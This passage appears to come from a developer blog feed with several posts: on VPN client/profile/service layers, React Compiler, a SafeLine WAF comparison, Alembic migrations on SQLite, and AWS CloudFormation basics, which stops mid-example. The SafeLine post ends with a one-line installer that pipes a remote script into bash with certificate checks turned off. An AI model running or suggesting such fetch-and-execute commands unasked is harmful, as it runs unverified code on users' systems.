Behind the client and file sits the service layer. It manages the account, profiles, and plan. Its current management interface is where profile-specific questions belong: which assignment is current, what the plan includes, and what status the service records for a profile.

Connection-state questions start at the client and device in front of you. Questions about the client software belong with its maker's documentation. Profile and plan questions belong with the service's management interface and official support. A status shown in one layer does not automatically answer a question about another.

Ask each part the right question

The service layer manages the assignment, the profile carries the instructions, and the client runs them. In the documented OpenVPN Connect flow, these roles meet in that order: management interface to file to client. Other supported setup paths use the settings and software specified in their own guides.

Consider three common questions:

“The button says disconnected.” Start with the current client and device state. Record the wording and the stage where setup stopped.
“Is my profile still active, and what does my plan include?” Check the current service-side information, rather than inferring it from an old downloaded file.
“Which file should this new tablet use?” Confirm the intended assignment and obtain its current profile through the supported process for that device.

This keeps a support request precise. Instead of “my VPN is missing,” describe which client is installed, whether the intended profile has been imported, what the client currently reports, and which service-side status you checked. Keep the profile contents and other secrets out of that record.

Keep expectations within each layer

The client reports connection state; it does not decide what an unrelated website or application does with the traffic. The profile supplies connection settings; it does not grant permission to use unrelated accounts or services. The service manages its own plans and profiles; it does not override the rules of networks or devices you do not control.

On a managed device, follow the organization's setup process. Use the supported client and assigned profile, then verify the connection separately. The model is useful because it gives each question an appropriate starting point without promising that one status indicator proves everything.

Frequently asked questions

Is OpenVPN Connect itself the VPN service?

No. OpenVPN's documentation distinguishes its client application from the compatible server or service that supplies the connection profile.

Does importing a profile mean I am connected?

Importing makes the profile available to the client. Check the client's current connection state after the connection step; do not infer it from an import confirmation.

Where should a profile or plan question go?

Use the service's current management interface and official support. For client-software questions, use the client's own documentation. Do not share profile contents to explain which layer you are checking.

References

OpenVPN Connect: Import a Profile — the file-import flow and the distinction between client and service.
OpenVPN Connect: How to Get Your Connection Profile — obtaining the profile from the responsible provider, administrator, or supported server setup.

React Compiler in 2026: Do You Still Need useMemo and useCallback?

Sat, 12 Sep 2026 05:57:58 +0000

Introduction

If you've been following React news this year, you've probably seen React Compiler come up constantly. Since its stable release, adoption has picked up fast, and it's changing a conversation that's been going on in the React community for years: do developers actually need to think about useMemo, useCallback, and React.memo anymore?

Short answer: less than before, but not zero. Let's break down what's actually changed.

What React Compiler Actually Does

React Compiler is a build-time tool that automatically analyzes your components and inserts memoization for you — the same kind of optimization you'd previously write by hand with useMemo and useCallback, except the compiler figures out where it's actually needed and applies it during your build step.

// What you write
function ProductList({ products, searchTerm }) {
  const filtered = products.filter(p => p.name.includes(searchTerm));
  return <ul>{filtered.map(p => <li key={p.id}>{p.name}</li>)}</ul>;
}

// What the compiler effectively produces (simplified)
function ProductList({ products, searchTerm }) {
  const filtered = useMemo(
    () => products.filter(p => p.name.includes(searchTerm)),
    [products, searchTerm]
  );
  return <ul>{filtered.map(p => <li key={p.id}>{p.name}</li>)}</ul>;
}

You write the simple version. The compiler handles the optimization. This is a genuinely big shift in how React code gets written day to day.

Why This Matters

For years, a big part of "writing performant React" meant knowing exactly when to reach for useMemo, useCallback, and React.memo — and just as importantly, when not to, since overusing them adds overhead without benefit (something worth understanding deeply, not just memorizing rules for). React Compiler removes a huge chunk of that decision-making from your daily workflow. You write straightforward component code, and the compiler figures out the optimization boundaries for you, generally more consistently than most developers would by hand.

This lowers the barrier significantly for newer developers — you can focus on what the component actually does, rather than also having to reason about referential stability and shallow prop comparisons on every component you write.

So Is Manual Memoization Dead?

Not entirely, and here's why it's still worth understanding:

The compiler doesn't cover every case yet. Custom hooks with complex external dependencies, some third-party library integrations, and edge cases the compiler's static analysis can't confidently reason about may still need manual attention.

Understanding why memoization helps makes debugging easier. When something doesn't optimize the way you expect, knowing the underlying mechanics — what actually triggers a re-render, how shallow comparison works — lets you diagnose the issue instead of just guessing.

Not every codebase has adopted it yet. Plenty of production apps are still running without React Compiler, especially larger, older codebases where adopting a new build-time tool takes deliberate migration effort. If you're working on one of these, the manual APIs are still exactly as relevant as before.

Adopting It in an Existing Project

npm install babel-plugin-react-compiler

// babel.config.js
module.exports = {
  plugins: ["babel-plugin-react-compiler"],
};

The compiler is designed to be adopted incrementally — you don't need to rewrite your whole codebase at once. It analyzes your existing components and applies optimizations where it's confident doing so is safe, without requiring you to change how you write components.

What This Means for Learning React in 2026

If you're newer to React, this is genuinely good news: you can focus your energy on understanding component structure, hooks, and data flow, without needing to simultaneously master manual performance optimization from day one. That said, I'd still recommend understanding what the compiler is doing under the hood — reading about how useMemo and React.memo work conceptually will make you a stronger developer even if you rarely write them by hand going forward, the same way understanding how a car engine works makes you a better driver even if you never plan to fix one yourself.

Final Thoughts

React Compiler is one of the more meaningful shifts in how React gets written in years — less boilerplate, fewer performance footguns, and a lower barrier to entry for people learning React right now. It doesn't make performance knowledge irrelevant, but it does change where that knowledge matters most: less in your daily component code, more in the rare cases where the compiler needs a hand, or when you're maintaining a codebase that hasn't adopted it yet.

Muhammad Farhan is a Frontend Developer specializing in React.js and Tailwind CSS, based in Dera Ismail Khan, Pakistan. Portfolio: Muhammad Farhan

SafeLine WAF vs Nginx WAF: Why a Dedicated Engine Beats a Module

Fri, 11 Sep 2026 02:39:56 +0000

SafeLine WAF vs Nginx WAF: Why a Dedicated Engine Beats a Module

"Nginx WAF" usually means either the commercial NGINX WAF module or ModSecurity
bolted onto nginx. SafeLine is a standalone, self-hosted WAF you place in front of nginx. The
difference is where the intelligence lives.

The nginx approach

nginx itself is a great reverse proxy and can host a WAF module. The commercial NGINX WAF and the
ModSecurity/CRS combo both work, but they inherit the same tuning burden: you manage rules,
thresholds, and false positives.

SafeLine in front of nginx

SafeLine sits as a reverse proxy before your nginx upstream. Requests are inspected by its
semantic-analysis engine before they ever reach your app server. Because detection is based on
request intent rather than a signature list, you spend less time writing exception rules.

Why a dedicated engine helps

Clean separation: WAF logic lives in its own container; your nginx config stays about
routing.
Central dashboard: SafeLine gives you a web UI at https://<ip>:9443 for policies, logs,
and alerts.
Lower false positives: semantic analysis is gentler on legitimate, unusual traffic.

FAQ

Do I have to remove nginx?

No. Keep nginx for routing; put SafeLine in front as the inspection layer.

Can I run it on the same host?

Yes, as a container sharing the host network or a dedicated port.

Is it free?

The Community Edition is free for 10 apps at 800 QPS.

Wrap Up

Official docs: https://docs.waf.chaitin.com/en/home
GitHub: https://github.com/chaitin/SafeLine
Live demo: https://demo.waf.chaitin.com:9443/statistics

Deploy it in minutes:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

Alembic in Practice: Structure, Revisions, and the Traps SQLite Sets

Thu, 10 Sep 2026 03:50:15 +0000

What those hex filenames mean, why migrations silently applied to the wrong database for two months, and how to widen a CHECK constraint without quietly breaking it.

Alembic is the migration tool for SQLAlchemy. Most tutorials get you as far as
alembic revision --autogenerate and stop, which leaves you unprepared for the
two things that actually go wrong: SQLite's refusal to alter constraints, and
configuration that points migrations at a different database than your
application uses.

This post covers both, using real migrations from
FinOps Sentinel, an AWS cost
agent with four migrations, one of which took three attempts to get right.

The layout

alembic.ini                     # config; script location, logging
alembic/
├── env.py                      # runs on every alembic command
├── script.py.mako              # template for new revision files
└── versions/
    ├── c447645246ac_initial_schema.py
    ├── 08872b80af2e_notifications_and_remediations.py
    ├── a1c9f4d27b13_add_rds_and_s3_resource_types.py
    └── b7e2f81c4a90_add_spend_snapshots.py

Plus one table Alembic creates in your database:

CREATE TABLE alembic_version (version_num VARCHAR(32) NOT NULL);

One row. One value. That is the entirety of Alembic's state: which database is
at which revision. Everything else is derived.

Why the filenames look like keyboard mashing

This is the most common first question, and the answer explains the design.

c447645246ac_initial_schema.py
b7e2f81c4a90_add_spend_snapshots.py

The hex prefix is the revision ID: a 12-character slice of a UUID, generated
by alembic revision. The filename is <revision_id>_<your message slugified>.py.

Inside each file:

revision: str = "b7e2f81c4a90"
down_revision: Union[str, None] = "a1c9f4d27b13"

Those two fields form a linked list:

c447645246ac  initial_schema                  (down_revision = None)  ← root
      ↓
08872b80af2e  notifications_and_remediations
      ↓
a1c9f4d27b13  add_rds_and_s3_resource_types
      ↓
b7e2f81c4a90  add_spend_snapshots                                     ← head

Order comes from the pointers, never from filenames. Look at the project's
list again: b7e2f81c4a90 sorts alphabetically before c447645246ac, yet
c447645246ac is the first migration and b7e2f81c4a90 is the newest. If
Alembic sorted by filename, everything would run backwards.

Why not 0001, 0002, 0003?

Because sequential numbers collide the moment two people work in parallel.

main
 ├── feature/billing   → 0004_add_invoices.py
 └── feature/auth      → 0004_add_sessions.py

Both are valid. Both are 0004. Merging produces a conflict where the numbering
lies about order, and worse, the conflict is in the filename, and git resolves it
by keeping both, and now your migration history has two fourth steps.

With hex IDs there is no collision. And if both branches set down_revision to
the same parent, Alembic detects a genuine branch:

$ alembic upgrade head
ERROR: Multiple head revisions are present

It refuses to guess, and you resolve it explicitly with alembic merge. The
scary-looking IDs are what make that detection possible.

If you want readable filenames

Add to alembic.ini:

file_template = %%(year)d%%(month).2d%%(day).2d_%%(rev)s_%%(slug)s

Giving 20260728_b7e2f81c4a90_add_spend_snapshots.py: date-sortable, revision
ID still present because Alembic needs it. Existing files keep their names; only
new ones pick it up.

The configuration trap that cost two months

This is the bug I most want to warn people about, because it produces no
error message at all.

The default env.py reads the database URL from alembic.ini. FinOps Sentinel
needed it configurable, so early on it did the obvious thing:

# alembic/env.py: the version with the bug
def get_url():
    db_path = os.getenv("SENTINEL_DB_PATH", ".sentinel.db")
    return f"sqlite:///{db_path}"

Reasonable. Except the application reads the same setting through
pydantic-settings:

class Settings(BaseSettings):
    sentinel_db_path: str = ".sentinel.db"
    model_config = SettingsConfigDict(env_file=".env")   # ← reads .env too

os.getenv does not read .env. pydantic-settings does.

The documented setup puts SENTINEL_DB_PATH=data/sentinel.db in .env, not in
the shell. So:

Component	Reads from	Resolves to
The app	env var → `.env` → default	`data/sentinel.db`
Alembic	env var → default	`.sentinel.db`

Every migration ever run landed on .sentinel.db. The application used
data/sentinel.db. Two files, silently, for two months.

Why nothing broke for so long

The application also calls Base.metadata.create_all() in tests, and the first
three migrations only created tables that SQLAlchemy would have created anyway.
The schemas happened to agree.

Then came a migration whose table nothing else creates: spend_snapshots. The
next scan died:

alembic upgrade head
INFO  [alembic.runtime.migration] Running upgrade a1c9f4d27b13 -> b7e2f81c4a90

sentinel scan
OperationalError: (sqlite3.OperationalError) no such table: spend_snapshots

Alembic reported success. The app said the table didn't exist. Both were telling
the truth about different files.

The fix: one owner for the URL

# config.py: the single source of truth
def database_url() -> str:
    """The one place the findings database URL is built.

    Both the application (bootstrap.get_repository) and Alembic (alembic/env.py)
    call this. They used to build it independently, and drifted.
    """
    return f"sqlite:///{settings.sentinel_db_path}"

# alembic/env.py
from finops_sentinel.config import database_url

def get_url():
    return database_url()

# bootstrap.py
def get_repository() -> FindingsRepository:
    return SqlAlchemyRepository(db_url=database_url())

And alembic.ini is deliberately emptied:

# Deliberately empty. env.py overrides this with the application's own
# Settings.sentinel_db_path. A URL here would be dead config that reads as
# authoritative, which is exactly how this drifted before.
sqlalchemy.url =

Takeaway: if your app and your migrations resolve the database path
separately, they will eventually disagree, and nothing will tell you. Give the
URL exactly one owner and have both call it.

The project now pins this with tests:

def test_the_app_and_alembic_build_the_url_the_same_way():
    assert get_repository().db_url == database_url()

def test_alembic_ini_does_not_hardcode_a_database():
    parser = configparser.ConfigParser()
    parser.read(REPO_ROOT / "alembic.ini")
    assert parser.get("alembic", "sqlalchemy.url", fallback="").strip() == ""

def test_alembic_env_does_not_read_the_environment_itself():
    env_py = (REPO_ROOT / "alembic" / "env.py").read_text()
    assert "database_url" in env_py
    assert "os.getenv(" not in env_py

Autogenerate, and where to stop trusting it

alembic revision --autogenerate -m "add spend snapshots"

Alembic compares your SQLAlchemy models against the live database and writes the
diff. It needs target_metadata wired up in env.py:

from finops_sentinel.adapters.persistence.sqlalchemy_repo import Base
target_metadata = Base.metadata

It detects new/dropped tables and columns, nullability changes, most index
and unique-constraint changes, and some type changes.

It misses table and column renames (it sees a drop plus an add, and will
happily destroy your data), CHECK constraint changes, server defaults in many
cases, and anything requiring data transformation.

The generated file is a draft. The comment Alembic itself writes says so:

def upgrade() -> None:
    # ### commands auto generated by Alembic - please adjust! ###

Always read it. For anything beyond adding a column, expect to hand-write.

Trap: SQLite cannot ALTER a constraint

Adding two values to an enum required widening a CHECK constraint:

class ResourceType(StrEnum):
    EBS_VOLUME = "ebs_volume"
    ELASTIC_IP = "elastic_ip"
    EC2_INSTANCE = "ec2_instance"
    EBS_SNAPSHOT = "ebs_snapshot"
    RDS_INSTANCE = "rds_instance"    # new
    S3_BUCKET = "s3_bucket"          # new

On Postgres: ALTER TABLE ... DROP CONSTRAINT ... ADD CONSTRAINT .... Done.

On SQLite: there is no ALTER for constraints. The only route is create a new
table, copy the data, drop the old, rename the new. Alembic wraps this in
batch_alter_table:

with op.batch_alter_table("resources", recreate="always") as batch_op:
    ...

Attempt 1: silently kept the old constraint

The first version passed table_args and ran without error:

with op.batch_alter_table(
    "resources",
    recreate="always",
    table_args=(
        sa.CheckConstraint(_resource_type_check(NEW_TYPES), name="check_resource_type"),
    ),
):
    pass

alembic upgrade head printed success. Inserting an rds_instance row still
failed.

Why: table_args adds to a reflected table definition rather than
replacing it. Alembic reflected the live table, including the old four-value
CHECK, then appended the new six-value one. The rebuilt table had both, and
the old one still rejected every new row.

Only dumping the schema revealed it:

sqlite3 data/sentinel.db ".schema resources"
# CONSTRAINT check_resource_type CHECK (resource_type IN ('ebs_volume', ...))   ← old
# CONSTRAINT check_resource_type CHECK (resource_type IN ('ebs_volume', ..., 's3_bucket'))

Attempt 2: `copy_from` to suppress reflection

The fix is copy_from, an explicit table definition that tells Alembic not
to reflect:

def _columns_only_resources() -> sa.Table:
    """The `resources` table as columns and primary key, with NO constraints.

    Handed to batch_alter_table as `copy_from`, which suppresses reflection of
    the live table. That suppression is the point: `table_args` adds to a
    reflected definition rather than replacing it.
    """
    return sa.Table(
        "resources",
        sa.MetaData(),
        sa.Column("id", sa.String(), primary_key=True, nullable=False),
        sa.Column("resource_id", sa.String(), nullable=False),
        sa.Column("resource_type", sa.String(), nullable=False),
        sa.Column("resource_arn", sa.String(), nullable=False),
        sa.Column("region", sa.String(), nullable=False),
        sa.Column("current_tags", sa.String(), nullable=False),
        sa.Column("lifecycle", sa.String(), nullable=False),
        sa.Column("first_seen_at", sa.DateTime(timezone=True), nullable=False),
        sa.Column("last_seen_at", sa.DateTime(timezone=True), nullable=False),
    )

Attempt 3: the indexes were gone

copy_from suppresses index reflection too. The rebuilt table lost its
unique index on resource_id, which the upsert logic depends on for
correctness. So it gets recreated by hand:

def _rebuild_resources(resource_types: tuple[str, ...]) -> None:
    with op.batch_alter_table(
        "resources",
        recreate="always",
        copy_from=_columns_only_resources(),
        table_args=(
            sa.CheckConstraint("lifecycle IN ('active', 'deleted')",
                               name="check_resource_lifecycle"),
            sa.CheckConstraint(_resource_type_check(resource_types),
                               name="check_resource_type"),
        ),
    ):
        pass  # the rebuild itself is the migration

    # copy_from also suppresses index reflection, so re-create by hand.
    bind = op.get_bind()
    existing = {index["name"] for index in sa.inspect(bind).get_indexes("resources")}
    if "ix_resources_resource_id" not in existing:
        op.create_index(op.f("ix_resources_resource_id"), "resources",
                        ["resource_id"], unique=True)

Rule for SQLite batch migrations: whatever the batch block omits is silently
absent from the rebuilt table. Every column, every constraint, every index has
to be re-declared. And "it ran without error" proves nothing. Dump the schema.

Downgrades that refuse to run

Most downgrade() functions are written on autopilot as the inverse of
upgrade(). Sometimes the honest inverse is refusing:

def downgrade() -> None:
    bind = op.get_bind()
    stranded = bind.execute(
        sa.text("SELECT COUNT(*) FROM resources "
                "WHERE resource_type IN ('rds_instance', 's3_bucket')")
    ).scalar_one()
    if stranded:
        raise RuntimeError(
            f"Cannot downgrade: {stranded} resource(s) use rds_instance or s3_bucket, "
            "which the previous CHECK constraint forbids. Delete those resources and "
            "the findings referencing them first if this downgrade is intended."
        )
    _rebuild_resources(OLD_RESOURCE_TYPES)

Narrowing the constraint with those rows present means deleting them, which
also orphans every finding referencing them. A downgrade that silently destroys
data to succeed is worse than one that stops and explains.

The docstring says so up front, so nobody is surprised at 2am:

downgrade() restores the four-value constraint and will FAIL if any
rds_instance or s3_bucket row exists by then, deliberately.

A simple migration, for contrast

Not every migration is a fight. Adding a table is exactly what you'd hope:

def upgrade() -> None:
    op.create_table(
        "spend_snapshots",
        sa.Column("id", sa.Integer(), primary_key=True, autoincrement=True, nullable=False),
        sa.Column("snapshot_date", sa.Date(), nullable=False),
        # Stored as a string, matching SafeNumeric: SQLite has no Decimal, and
        # a float column would quietly round money.
        sa.Column("total_estimated_monthly_usd", sa.String(), nullable=False),
        sa.Column("open_findings", sa.Integer(), nullable=False),
        sa.Column("active_resources", sa.Integer(), nullable=False),
        sa.Column("captured_at", sa.DateTime(timezone=True), nullable=False),
    )
    op.create_index(
        op.f("ix_spend_snapshots_snapshot_date"),
        "spend_snapshots", ["snapshot_date"], unique=True,
    )

Note the docstring convention this project uses: the why, not the what:

snapshot_date is UNIQUE on purpose. The repository upserts by date, so two
scans on the same day collapse to one row. Otherwise a day that happened to
be scanned five times would weigh five times as much in the trailing mean, and
the z-score would measure scan cadence rather than spend.

Six months later, that paragraph is worth more than the code.

Keeping constraints from drifting

CHECK constraints duplicating enum values is a drift hazard. This project
generates them:

def _in_clause(column: str, values: type[StrEnum]) -> str:
    """Render `column IN ('a', 'b', ...)` straight from a StrEnum.

    Generated rather than hand-written so the constraint cannot drift from the
    enum: adding a ResourceType now updates this automatically, and only the
    Alembic migration has to be written by hand.
    """
    members = ", ".join(f"'{member.value}'" for member in values)
    return f"{column} IN ({members})"


class ResourceModel(Base):
    __tablename__ = "resources"
    ...
    __table_args__ = (
        CheckConstraint(_in_clause("lifecycle", ResourceLifecycle),
                        name="check_resource_lifecycle"),
        CheckConstraint(_in_clause("resource_type", ResourceType),
                        name="check_resource_type"),
    )

The model side can never drift from the enum. Only the migration is
hand-written, which is unavoidable, since a migration must describe a transition between
two states, and only one of them exists in your code.

Testing migrations

A green alembic upgrade head proves almost nothing (see attempt 1). Two things
worth doing:

1. Round-trip against a copy of a real database.

cp data/sentinel.db /tmp/mig-test.db
SENTINEL_DB_PATH=/tmp/mig-test.db alembic upgrade head
SENTINEL_DB_PATH=/tmp/mig-test.db alembic downgrade -1
SENTINEL_DB_PATH=/tmp/mig-test.db alembic upgrade head

sqlite3 /tmp/mig-test.db "select count(*) from resources; select count(*) from findings;"
# 274 / 187, same as before

Real data, real row counts, and it catches data loss a fresh database never
would.

2. Assert the error message is useful.

An un-migrated database should not produce a raw SQL traceback:

def upsert_resource(self, resource: Resource) -> None:
    try:
        self._upsert_resource(resource)
    except IntegrityError as exc:
        if "check_resource_type" not in str(exc):
            raise
        raise RuntimeError(
            f"The findings database does not allow resource type "
            f"'{resource.resource_type}'. It was created by an older "
            f"version of FinOps Sentinel. Run `alembic upgrade head` "
            f"against {self.db_url} and scan again."
        ) from exc

Failing hard is right: a half-written inventory is worse than a stopped run.
But the traceback told nobody what to do. Now it names the type, the database,
and the command.

Command reference

alembic revision -m "message"                  # empty migration, hand-written
alembic revision --autogenerate -m "message"   # diff models vs database

alembic upgrade head          # apply everything outstanding
alembic upgrade +1            # one step forward
alembic downgrade -1          # one step back
alembic downgrade base        # all the way down

alembic current               # what revision is this database at?
alembic history --verbose     # the full chain
alembic heads                 # >1 means you have a branch to merge
alembic merge -m "merge" a1b2 c3d4

alembic upgrade head --sql    # print SQL instead of executing (offline mode)

alembic current is the one to reach for when something is confusing. It tells
you where Alembic thinks the database is, and if that disagrees with the
database you expect, you have the bug from earlier in this post.

Checklist

Never edit a migration that has been applied anywhere but your laptop.
Write a new one. The old revision ID is a foreign key in every database that
ran it.
Read autogenerated migrations before committing. Especially for renames,
which autogenerate turns into drop-plus-add.
Write the "why" in the docstring. The SQL says what; only you can say why.
Test on a copy of real data. Fresh databases hide data-loss bugs.
Dump the schema after non-trivial migrations. "It ran" is not "it worked."
Give the database URL one owner that both the app and Alembic call.
Make downgrades honest, including refusing when the honest inverse is
data loss.

Migrations are the one part of a codebase where a mistake is not just wrong but
permanently wrong, replicated to every environment that ran it. Worth the
extra ten minutes.

Every example here is from github.com/boazleleina/finops-sentinel

Infrastructure as Code with AWS CloudFormation

Wed, 09 Sep 2026 07:23:07 +0000

By the end of this guide, you will not just know what CloudFormation does. You will understand why each feature exists, what problem it solves, what breaks without it, and how features chain together to solve real infrastructure problems. Every concept is introduced with a problem first, not a definition first.

What is CloudFormation and Why It Matters
Logical and Physical Resources
Templates: Portable vs Non-Portable
Template Parameters and Pseudo Parameters
Intrinsic Functions
Mappings
Outputs
Conditions
DependsOn
Wait Conditions and cfn-signal
cfn-init
cfn-hup
Nested Stacks
Cross-Stack References

What is CloudFormation and Why It Matters

The Problem It Solves

Imagine you are building a three-tier web application. You need a VPC, subnets, an EC2 instance, a security group, an RDS database, an S3 bucket, and a load balancer. You click through the AWS Console and get it working. Three weeks later, a colleague asks you to replicate the exact environment for staging. You click through everything again. Two hours later, something is different you missed a security group rule, the subnet CIDR is wrong, and the RDS instance has a different parameter group.

This is the core problem. Manual infrastructure is not repeatable, not auditable, and not scalable.

CloudFormation is AWS's answer. You describe your infrastructure in a template a YAML or JSON file and CloudFormation takes that description and builds the real AWS resources. The template becomes the single source of truth.

What CloudFormation Actually Is

CloudFormation is a declarative infrastructure provisioning engine. You declare what you want, not how to create it. CloudFormation figures out the how, including the order in which resources must be created, the dependencies between them, and what to clean up if something fails.

Why It Matters Beyond Convenience

Repeatability The same template deployed ten times produces ten identical environments.
Version control Your infrastructure lives in Git. Every change is tracked. Every rollback is a git revert.
Accountability Who changed the security group? Check the commit history.
Speed A 40-resource stack that takes two hours to click through manually deploys in minutes.
Disaster recovery When a region fails, you re-deploy the template in another region. Your infrastructure is code, not memory.
Cost Stacks can be deleted entirely after use. Temporary environments cost nothing when they are gone.

CloudFormation is not just a tool. It is a practice the practice of treating infrastructure with the same discipline as application code.

Logical and Physical Resources

The Concept

This is the foundation. If you misunderstand this, everything else will be confusing.

A logical resource is what you write in the template. It is a declaration a name you give to a resource and a description of what you want.

A physical resource is what AWS actually creates when CloudFormation processes your template. It has a real ID an instance ID, a bucket name, a security group ID.

The Relationship

When you write this:

Resources:
  MyWebServer:
    Type: AWS::EC2::Instance
    Properties:
      InstanceType: t3.micro
      ImageId: ami-0c55b159cbfafe1f0

MyWebServer is the logical resource. The actual EC2 instance that gets created say i-0a1b2c3d4e5f6 is the physical resource.

The logical resource exists only in your template. The physical resource exists in AWS.

Why This Distinction Matters

CloudFormation tracks the mapping between logical and physical resources in something called the stack. This mapping is what enables CloudFormation to:

Update a resource when you change the template
Replace a resource when a change requires replacement
Delete all physical resources when you delete the stack

If you manually delete a physical resource that CloudFormation manages, the stack loses track of it. On the next update or delete, CloudFormation will fail or behave unpredictably because the physical resource it expects to find is gone.

Rule: Never manually modify a physical resource that is managed by a CloudFormation stack. Make the change in the template instead.

What Happens During Stack Creation

CloudFormation reads your template.
It builds a dependency graph of all logical resources.
It creates physical resources in the correct order.
It maps each logical resource to its new physical resource.
The stack reaches CREATE_COMPLETE.

If any resource creation fails, CloudFormation rolls back it deletes everything it already created and the stack reaches ROLLBACK_COMPLETE. Nothing is left half-built.

Templates: Portable vs Non-Portable

The Problem with Non-Portable Templates

Here is a simple template:

AWSTemplateFormatVersion: "2010-09-09"
Description: Simple EC2 instance

Resources:
  MyInstance:
    Type: AWS::EC2::Instance
    Properties:
      InstanceType: t3.micro
      ImageId: ami-0c55b159cbfafe1f0
      SubnetId: subnet-0abc1234

This works. Once. In one region. For one person.

The ImageId is an AMI ID. AMI IDs are region-specific. ami-0c55b159cbfafe1f0 in us-east-1 is not the same image in eu-west-1 in fact, it probably does not exist there at all. The SubnetId is hardcoded to a specific subnet in a specific AWS account.

If you or anyone else tries to deploy this template in a different region or a different account, it will fail.

This is a non-portable template. It has hardcoded values that only work in one specific context.

What Would Happen If You Ran It

In your account, same region: Works.
In your account, different region: Fails. AMI ID does not exist.
In a colleague's account: Fails. Subnet ID does not exist.
In a CI/CD pipeline targeting staging: Fails. Both IDs are wrong.

The Solution: Portable Templates

A portable template contains no hardcoded environment-specific values. Instead, it accepts inputs, references dynamic values, and uses lookup mechanisms to resolve environment-specific details at deploy time.

The tools that enable portability are:

Parameters Inputs you provide at deploy time
Pseudo Parameters Values AWS provides automatically (account ID, region, etc.)
Intrinsic Functions Functions that resolve values dynamically
Mappings Lookup tables built into the template

The portable version of the above template:

AWSTemplateFormatVersion: "2010-09-09"
Description: Portable EC2 instance

Parameters:
  SubnetId:
    Type: AWS::EC2::Subnet::Id
    Description: The subnet to launch the instance into

Mappings:
  RegionAMIMap:
    us-east-1:
      AMI: ami-0c55b159cbfafe1f0
    eu-west-1:
      AMI: ami-0d71ea30463e0ff49

Resources:
  MyInstance:
    Type: AWS::EC2::Instance
    Properties:
      InstanceType: t3.micro
      ImageId: !FindInMap [RegionAMIMap, !Ref AWS::Region, AMI]
      SubnetId: !Ref SubnetId

Now this template works in any region that is in the map, and in any account. The subnet is provided at deploy time. The AMI is looked up based on which region you are deploying to.

This is the difference between a template you write once and a template you write once and use everywhere.

Template Parameters and Pseudo Parameters

Template Parameters

Parameters make your template an interface. Instead of hardcoding values, you expose inputs that the person deploying the template or an automation system provides at deploy time.

Parameters:
  EnvironmentName:
    Type: String
    Default: development
    AllowedValues:
      - development
      - staging
      - production
    Description: The environment this stack is being deployed to

  InstanceType:
    Type: String
    Default: t3.micro
    AllowedValues:
      - t3.micro
      - t3.small
      - t3.medium
    Description: EC2 instance type

  DBPassword:
    Type: String
    NoEcho: true
    MinLength: 8
    MaxLength: 32
    Description: Database password will not be displayed

Key parameter types:

Type	What It Validates
`String`	Any string
`Number`	Numeric value
`AWS::EC2::Subnet::Id`	Must be a valid subnet ID in your account
`AWS::EC2::KeyPair::KeyName`	Must be a valid key pair name
`AWS::SSM::Parameter::Value<String>`	Pulls value from Systems Manager Parameter Store

The NoEcho: true property is important. It prevents the value from being displayed in the Console or CLI output. Use it for passwords and secrets. Note: it is not encryption. The value is still stored in the stack. Do not use it for genuinely sensitive production secrets use Secrets Manager or SSM SecureString instead.

To reference a parameter inside the template:

Properties:
  InstanceType: !Ref InstanceType

!Ref on a parameter returns its value. That is it. Simple.

Pseudo Parameters

Pseudo parameters are values that AWS provides automatically. You do not declare them. They are always available.

Pseudo Parameter	What It Returns
`AWS::AccountId`	Your 12-digit AWS account ID
`AWS::Region`	The region being deployed to, e.g. `eu-west-1`
`AWS::StackName`	The name of the current stack
`AWS::StackId`	The full ARN of the stack
`AWS::NoValue`	Used to conditionally remove a property
`AWS::Partition`	`aws`, `aws-cn`, or `aws-us-gov`
`AWS::URLSuffix`	`amazonaws.com` or region-specific suffix

Usage example:

Resources:
  MyBucket:
    Type: AWS::S3::Bucket
    Properties:
      BucketName: !Sub "myapp-${AWS::AccountId}-${AWS::Region}-logs"

This creates a bucket name like myapp-123456789012-eu-west-1-logs. Because account IDs and regions are globally unique, this bucket name will never collide with anyone else's, and the same template deployed to multiple regions will always produce a unique bucket name.

AWS::NoValue is used when you want to conditionally exclude a property:

Properties:
  DBSnapshotIdentifier: !If [IsProduction, !Ref SnapshotId, !Ref AWS::NoValue]

If the condition IsProduction is false, the property is completely removed from the resource definition. AWS sees it as if you never wrote it.

Intrinsic Functions

What They Are

Intrinsic functions are built-in functions that CloudFormation evaluates when it processes your template. They let you compute values, reference other resources, join strings, look up mappings, and make decisions all at deploy time.

You cannot use them in every part of a template. They work in the Properties section of resources, in Outputs, and in Metadata. They do not work in the Parameters section.

The Core Functions

!Ref

Returns the value of a parameter or the default identifier of a resource.

# On a parameter: returns the parameter value
InstanceType: !Ref InstanceTypeParam

# On a resource: returns the resource's primary identifier
SubnetId: !Ref MySubnet   # Returns the Subnet ID of MySubnet

What !Ref returns depends on the resource type. For an EC2 instance it returns the instance ID. For an S3 bucket it returns the bucket name. For a security group it returns the group ID. Always check the CloudFormation documentation for what !Ref returns for each resource type.

!GetAtt

Returns a specific attribute of a resource not just the primary identifier.

# Get the ARN of a Lambda function
FunctionArn: !GetAtt MyLambdaFunction.Arn

# Get the DNS name of a load balancer
LoadBalancerDNS: !GetAtt MyALB.DNSName

# Get the ARN of an IAM role
RoleArn: !GetAtt MyRole.Arn

!GetAtt is how you wire resources together. You create a load balancer and then pass its DNS name to your Route 53 record. You create an IAM role and pass its ARN to a Lambda function.

!Sub

Substitutes variables into a string. The most readable way to build dynamic strings.

# Simple substitution with pseudo parameters
BucketName: !Sub "myapp-${AWS::AccountId}-${AWS::Region}"

# Substitution with logical resource references
Description: !Sub "This is the ${EnvironmentName} environment stack"

# Substitution with explicit variable map
Command: !Sub
  - "aws s3 cp s3://${BucketName}/config.json /etc/myapp/config.json"
  - BucketName: !Ref MyBucket

!Sub is cleaner than !Join for most string-building tasks. Use it by default and only reach for !Join when you are working with lists.

!Join

Joins a list of values with a delimiter.

# Join with no delimiter
PolicyArn: !Join ["", ["arn:aws:iam::", !Ref AWS::AccountId, ":root"]]

# Join with comma delimiter
AllowedOrigins: !Join [",", [!Ref Domain1, !Ref Domain2]]

!Select

Returns a single value from a list by index.

# Get the first availability zone in the region
AvailabilityZone: !Select [0, !GetAZs ""]

# Get the second
AvailabilityZone: !Select [1, !GetAZs ""]

!GetAZs returns all availability zones in a region. !Select picks one. This combination is used constantly when creating subnets across AZs.

!FindInMap

Looks up a value in a Mapping (covered in the next section).

ImageId: !FindInMap [RegionAMIMap, !Ref AWS::Region, AMI]

!If

Returns one of two values based on a condition.

InstanceType: !If [IsProduction, m5.xlarge, t3.micro]

!And, !Or, !Not, !Equals

Logical operators used when defining conditions.

Conditions:
  IsProductionAndEU: !And
    - !Condition IsProduction
